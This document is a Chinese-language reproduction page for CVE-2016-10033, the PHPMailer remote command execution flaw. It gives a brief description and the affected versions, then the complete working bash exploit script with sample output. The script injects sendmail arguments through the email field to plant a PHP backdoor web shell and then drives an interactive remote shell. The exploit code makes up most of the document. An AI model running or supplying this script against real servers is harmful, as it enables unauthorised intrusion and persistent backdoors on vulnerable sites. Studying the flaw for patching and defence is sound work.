（CVE-2016-10033）PHPMailer \< 5.2.18 远程命令执行漏洞

一、漏洞简介

PHPMailer 5.2.18之前的版本存在一个漏洞，该漏洞可能导致远程代码执行（RCE）。如果未设置Sender属性，则PHPMailer的isMail传输中的mailSend函数可能会允许远程攻击者将额外的参数传递给mail命令，从而通过在预制的发件人地址中使用"（反斜杠双引号）执行任意代码。

二、漏洞影响

PHPMailer \< 5.2.18

三、复现过程

poc

root@kali:~/CVE-2016-10033# ./exploit.sh www.0-sec.org:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting www.0-sec.org:8080
[+] Target exploited, acessing shell at http://www.0-sec.org:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> ls
[+] Running ls
vulnerable
RemoteShell> pwd
[+] Running pwd
/www
CVE-2016-10033.sh
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033

echo '[+] CVE-2016-10033 exploit by opsxcq'

if [ -z "$1" ]
then
    echo '[-] Please inform an host as parameter'
    exit -1
fi

if [ $(uname) == 'Darwin' ]
then
    decoder='base64 -D'
elif [ $(uname) == 'Linux' ]
then
    decoder='base64 -d'  
else
    echo '[-] Your platform isnt supported: '$(uname)
    exit -1
fi


host=$1

echo '[+] Exploiting '$host

curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\n\"vulnerables\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @test.com\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'


echo '[+] Checking if the backdoor was created on target system'
code=$(curl -o /dev/null --silent --head --write-out '%{http_code}\n' "http://$host/backdoor.php")

if [ "$code" != "200" ]
then
    echo '[-] Target cant be exploited'
    exit -1
else
    echo '[+] Backdoor.php found on remote system'
fi

cmd='whoami'
while [ "$cmd" != 'exit' ]
do
    echo '[+] Running '$cmd
    if ! curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | grep -v 'base64_encode' | head -n 1 | cut -d '|' -f 2 | $decoder 
    then
        echo '[-] Connection problens'
        exit -1
    fi
    echo
    read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'